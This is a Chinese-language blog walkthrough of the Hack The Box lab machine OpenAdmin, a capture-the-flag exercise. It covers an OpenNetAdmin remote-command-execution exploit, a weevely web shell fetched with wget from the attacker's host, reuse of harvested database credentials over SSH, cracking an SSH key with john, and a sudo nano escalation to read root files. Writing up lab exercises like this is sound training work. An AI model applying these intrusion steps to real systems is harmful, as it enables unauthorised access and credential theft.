MENU

Hack The Box - OpenAdmin

March 23, 2020 • Read: 1331 • 靶机渗透阅读设置

0x00 目标

Kali: 10.10.16.242

靶机地址:10.10.10.171

目标:user blood and root blood

image-20200323051908502

0x01 信息收集

端口:

使用nmap对目标进行端口扫描:

开放端口:22、80

image-20200323063442013

说明开放ssh和web。

常规渗透通常从web先入手。

尝试访问http://10.10.10.171:80,初始页面显示apache,暂无用处。

image-20200323054010349

web目录:

尝试爆破web目录,使用DirBuster。

存在目录:

/icons
# 403
/artwork
# 一些普通页面
/music
# 一些普通页面,加上 login(ona)
/ona  opennetadmin 主机管理系统

image-20200323054402110

从而知道了web搭建了OpenNetAdmin主机管理系统。

0x02 渗透过程

webshell:

http://10.10.10.171/ona/ 看到版本号为v18.1.1

到这里可以尝试登陆看看有没有弱口令。

但是国外的靶机不太清楚opennetadmin具体能做什么。

image-20200323064131093

所以由已知的OpenNetAdmin可以用searchsploit或者msf来找exp。

尝试用msf没有找到对应的exp。

searchsploit找到了远程命令执行。

searchsploit opennetadmin

image-20200323065308240

可以直接拿出来用:

searchsploit -m 47691
# 将该exp文件拿到到当前目录
vim 47691.sh

exp设置好登陆的url就可以直接打了。

莫名原因exp不能直接用报错,拿出来修改到另一个.sh文件里可以执行命令了。

image-20200323071330283

到此拿到了为www-data的权限。

这里用weevely先做下权限维持。生成了一个cmd.php的一句话通过wget放到web根目录。

weevely generate xxx cmd.php
# 生成password为xxx的一句话
python3 -m http.server 
# 搭建临时http服务器传输文件,默认端口8000
wget http://10.10.16.242:8000/cmd.php

image-20200323072845035

image-20200323073050721

提升权限:

现在已经有了webshell,但是权限是www-data,想要获得更高的权限需要进行其他尝试。

尝试用cat /etc/passwd读到两个存在的低权限用户名:

image-20200323075845622

jimmy
joanna

尝试去找数据库的密码,最终在/opt/ona/www/local/config/database_settings.inc.php找到数据库账号密码:

image-20200323075231500

ona_sys
n1nj4W4rri0R!

尝试登陆数据库失败。

image-20200323080142905

jimmy用户:

想到还有个22端口,于是尝试拿数据库密码跑下两个账号。没想到jimmy账号登录进去了。

image-20200323080755660

但是在她的home目录下没有找到user.txt。猜测是在joanna下面,但是没有权限进。

image-20200323081112880

找到了/var/www/目录下,发现有几个目录,猜测这个是多站点,但是有的目录没有访问权限。

image-20200323130136770

/var/www/internal目录下的几个文件倒是有权限访问。可以看下具体是什么功能的php脚本。

首先看到index.php,这个登录验证直接告诉了我们账号密码是什么。继续扩大密码池。再跑遍joanna看能不能直接直接登录上去,未果。

jimmy
Revealed

image-20200323131215449

image-20200323131248459

image-20200323131421184

再看下main.php。找到有用的了,看代码可以看到通过cat /home/joanna/.ssh/id_rsa获取joanna用户的密钥。现在需要想把运行这个main.php

image-20200323185431127

尝试php main.php发现权限不足。

还有一个x.php,尝试php main.php发现也是权限不足。

image-20200323190428422

并提示了一段文字。

没搞懂什么意思。。。

image-20200323185806604

image-20200323190451210

<pre></pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

joanna用户:

整理下思路,现在查看这个目录也有几个php文件,并且可能通过他得到joanna用户的密钥,我们就可以获得flag,还有用户权限。

我们知道之前webshell的根目录是/opt/ona/www,而这个目录的路径是/var/www/internal。可能存在多个站点。

多个站点肯定对应不同的端口,所以这里我查了下端口。

netstat -aptn

image-20200323191510122

看到本地开放了

3306、52846

二其他的端口可以直接访问到,这两个端口只能在当前内网状态才能访问。

又想到curl可以直接在命令行下请求url页面。我们可以不尝试流量代理到本地,直接用curl看看有没有回显。

image-20200323192002076

image-20200323192031947

果不其然,得到了joanna的密钥,尝试另一个x.php获取不到root.txt,只能接下来看看怎么搞了。

通过命令密钥ssh连接:

chmod 600 is_rsa 
ssh -i is_rsa joanna@10.10.10.171

image-20200323192742504

还是需要密码。。。有点无语。

那么可以尝试破解密钥,破解密钥可以用john,转换john的格式,然后再爆破:

python /usr/share/john/ssh2john.py is_rsa > ssh_is_rsa

# 这里可以用kali自带的rock字典
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_is_rsa

image-20200323230441539

获得到密码,原来那个ninja还真是个提示:

bloodninjas

至此登录上joanna用户并且获取到一个flag。

image-20200323230735885

提权读root.txt

最后就剩下一个root.txt获取最后一个flag并且提权,看说明那应该就是需要有root权限去读文件。

这里直接用sudo拿下了,原理就是sudo配置运行的部分命令可以不用密码验证。

通过sudo -l查看允许的命令。

image-20200323232613176

nano是一款编辑器,这里我们可以直接通过读取/root/root.txt

nano的用法:

ctrl+R:从其他档案读入资料,可以将某个档案的内容贴在本档案中

sudo /bin/nano /opt/priv

ctrl + r

/root/root.txt

image-20200323232920948

image-20200323232942426

到此拿到了所有的flag。并且获取到了几个用户的权限。

编辑器有sudo权限,那自然也可以读/etc/shadow

image-20200323233402874

0x03 总结

简单总结下这次用到的一些手法和技巧。

1、信息收集-目录爆破。

2、信息收集-端口扫描。

3、漏洞利用-历史漏洞。

4、权限维持-一句话木马。

5、信息收集-账号密码信息(数据库、web)。

6、爆破-滚密码。

7、信息收集-内网端口开放。

8、爆破-john密钥破解。

9、sudo提权(nano编辑器读取文件内容)。

原文作者:Keefe

原文链接:Hack The Box - OpenAdmin

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

Last Modified: March 28, 2020